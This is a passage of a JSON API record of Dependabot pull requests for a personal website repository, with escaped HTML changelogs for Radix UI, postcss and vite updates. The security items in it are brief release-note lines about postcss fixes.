\u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-switch\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.13 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-tabs\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.10 to 1.1.14\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-toggle\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle-group` from 1.1.11 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle-group/CHANGELOG.md\"\u003e@​radix-ui/react-toggle-group's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.13\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated single-select and multi-select toggle groups to use the \u003ccode\u003eradiogroup\u003c/code\u003e and \u003ccode\u003etoolbar\u003c/code\u003e roles, respectively.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-toggle@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle-group\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-toggle-group\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.8 to 1.2.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed runtime error when event target is non-Node\u003c/li\u003e\n\u003cli\u003eFixed a Tooltip bug so that \u003ccode\u003eskipDelayDuration={0}\u003c/code\u003e works as expected. Previously, the open delay could still be skipped when moving between triggers.\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-popper@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.11\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-tooltip\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cb...\n\n_Description has been truncated_","html_url":"https://github.com/nielsonjunior/site-pessoal/pull/15","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nielsonjunior%2Fsite-pessoal/issues/15","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/15/packages"}},{"old_version":"8.5.16","new_version":"8.5.18","update_type":"patch","path":null,"pr_created_at":"2026-07-16T00:34:47.000Z","version_change":"8.5.16 → 8.5.18","issue":{"uuid":"4897495792","node_id":"PR_kwDONhUlBs7yRrCM","number":20,"state":"open","title":"deps(npm): bump the npm-version group with 3 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T00:34:47.000Z","updated_at":"2026-07-16T00:35:15.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(npm): bump","group_name":"npm-version","update_count":3,"packages":[{"name":"@types/node","old_version":"26.0.1","new_version":"26.1.1","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.18","repository_url":"https://github.com/postcss/postcss"},{"name":"vite","old_version":"8.1.3","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-version group with 3 updates: [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node), [postcss](https://github.com/postcss/postcss) and [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite).\n\nUpdates `@types/node` from 26.0.1 to 26.1.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.16 to 8.5.18\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.18\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 8.1.3 to 8.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.1.4\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v8.1.4/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://github.com/vitejs/vite/compare/v8.1.3...v8.1.4\"\u003e8.1.4\u003c/a\u003e (2026-07-09)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003elegacy:\u003c/strong\u003e prefer oxc as minifier (fix \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/21973\"\u003e#21973\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22468\"\u003e#22468\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ab5dafa8e66296ef201f615489fb57954bb740ce\"\u003eab5dafa\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e add workaround for building on stackblitz (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22840\"\u003e#22840\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/575c32c29925c554f4ef4068738ab89c6878f615\"\u003e575c32c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebuild:\u003c/strong\u003e keep \u003ccode\u003eimport.meta.url\u003c/code\u003e in preload function as-is (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22839\"\u003e#22839\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/f1f90ed4742b3cf453428c7e581a6016a4d47321\"\u003ef1f90ed\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update all non-major dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22865\"\u003e#22865\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/d4295a9ffce428c0e51892373e00c07fccc0498a\"\u003ed4295a9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update rolldown-related dependencies (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22866\"\u003e#22866\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7cf07e4c5f7a6af276012e0c2ec06e08499e951e\"\u003e7cf07e4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehtml:\u003c/strong\u003e avoid backtracking in import-only check (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22848\"\u003e#22848\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/b5868c01a124d345664450aaebd677bfba964c05\"\u003eb5868c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eoptimizer:\u003c/strong\u003e avoid optimizer run for transform request before init (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22852\"\u003e#22852\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/72a5e2192506f51a5efd09c059815a5c43a9eacb\"\u003e72a5e21\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003essr:\u003c/strong\u003e align named export function call stacktrace column with Node (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22829\"\u003e#22829\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/173a1b648c321e0f836e5a94fc47c4fa9b081bfc\"\u003e173a1b6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estrip pure CSS chunk imports when chunkImportMap is enabled (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22841\"\u003e#22841\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/648bd04933093d0aac9565f21a49811437776886\"\u003e648bd04\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix incorrect \u003ccode\u003e@default\u003c/code\u003e for \u003ccode\u003eserver.cors\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22859\"\u003e#22859\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/70435b2551ee4fe3a0d55c8a3bb61b96f44d2763\"\u003e70435b2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMiscellaneous Chores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e update dependency postcss-modules to v9 (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22867\"\u003e#22867\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/a9539d69efc7a4ccf988bbf5da31c2b416ba990e\"\u003ea9539d6\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCode Refactoring\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eeliminate ineffectiveDynamicImport warn (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22876\"\u003e#22876\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ea22fb352aad9a42c0a9d08f39d8a0bae8c111a5\"\u003eea22fb3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eavoid warnings (\u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22851\"\u003e#22851\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/af21ab68adac3380dc9a854d2fe3f776654301cd\"\u003eaf21ab6\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBuild System\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eremove the custom onLog function (\u003ca 